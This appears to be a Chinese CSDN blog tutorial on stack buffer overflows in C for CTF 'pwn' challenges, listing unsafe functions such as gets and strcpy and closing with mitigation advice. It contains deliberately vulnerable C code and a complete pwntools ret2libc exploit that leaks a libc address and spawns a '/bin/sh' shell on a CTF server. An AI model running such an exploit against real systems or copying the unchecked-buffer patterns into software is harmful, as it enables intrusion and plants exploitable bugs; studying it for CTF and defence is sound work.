[pwn栈溢出]c语言中的一些危险函数和利用

本文详细解释了栈溢出的原理,介绍了容易造成栈溢出的函数,如gets和字符串操作,展示了黑客如何利用栈溢出漏洞获取shell,并提供了防护建议,包括开启保护机制和边界检查。
摘要由CSDN通过智能技术生成

栈溢出原理

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。发生栈溢出的基本前提是:

  • 程序必须向栈上写入数据。
  • 写入的数据大小没有被良好地控制。

容易造成栈溢出的函数

  • 输入
    • gets  直接读取一行,忽略'\x00'
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串操作
    • strcpy  字符串复制,遇到'\x00'停止
    • strcat  字符串拼接 ,遇到'\x00'
例子:
#include <stdio.h>

int main(){
        char buf[32];
        gets(buf);   //因为gets()只有遇到'\n'才会停止读取数据,所以向栈中写入的数据大小可以为任意大小
        printf("%s",buf);
        return 0;
}

危害:

当编写代码时,向栈中写入的数据没有做好边界检查,很容易造成栈溢出。栈溢出漏洞存在时,轻则栈中的相邻数据被改写导致程序崩溃,重则导致程序流程被劫持甚至导致被黑客利用取得shell

导致程序崩溃

如下图所示:输入超长的数据导致栈中的返回地址被修改为无效地址,当程序返回时导致报错

黑客利用取得shell

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Pull up your sword and tell me u story!");
  return read(0, buf, 0x64uLL);
}

上面代码我们可以看出read函数向buf中写入数据限制的长度明显大于buf的长度,从而导致栈溢出。

通过pwntool检查程序的保护机制,如下图所示,程序开启了NX(堆栈不可执行)保护

利用思路:

  • 通过栈溢出泄露puts函数的got地址
  • 通过got地址找到对应程序使用的libc
  • 通过libc找到system与/bin/sh
  • 再通过栈溢出执行system('/bin/sh')获取shell
from pwn import *
from LibcSearcher import *

sh = remote("node4.anna.nssctf.cn",28122)
elf = ELF('pwn')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.sym['vuln']
#因为程序为64位,调用函数的方式是快速调用即fastcall,函数的前6个参数通过(rdi,rsi,rdx,rcx,r8,9)这6个寄存器传递。所以我们需要在程序中找到ROP片段
pop_rdi = 0x400733
ret = 0x4006AC

#构造payload,使栈溢出,执行puts函数打印puts_got的地址
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)

sh.recvuntil("u story!")
sh.sendline(payload)
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

#通过puts_got地址去找到libc,并通过偏移找到system和'/bin/sh'
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload1 = b'a'*(0x20+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
sh.sendline(payload1)

sh.interactive()

如上图所示:通过ret2libc获取到了shell

防护建议
  • 将保护机制全部开启,如NX,Canary,PIE  (linux)
  • 在对栈中的数据进行操作的时候应该对边界进行检查,防止向栈中数据写入的数据超过边界
  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
PWN是一种以攻破计算机系统的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN栈溢出是一种常见的攻击方式。 根据提供的引用,我了解到栈溢出是一种通过向程序输入过长的数据导致数据溢出栈的一种攻击手段。栈是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出栈空间大小的数据时,溢出的数据会覆盖到栈上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN,参赛者可以利用栈溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖栈上的返回地址,使其指向攻击者准备好的恶意代码,从而实现栈溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用栈溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发栈溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,栈溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用,为了防止栈溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN栈溢出是一种通过向程序输入过长数据导致栈溢出的攻击方式,在该竞赛常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,栈溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值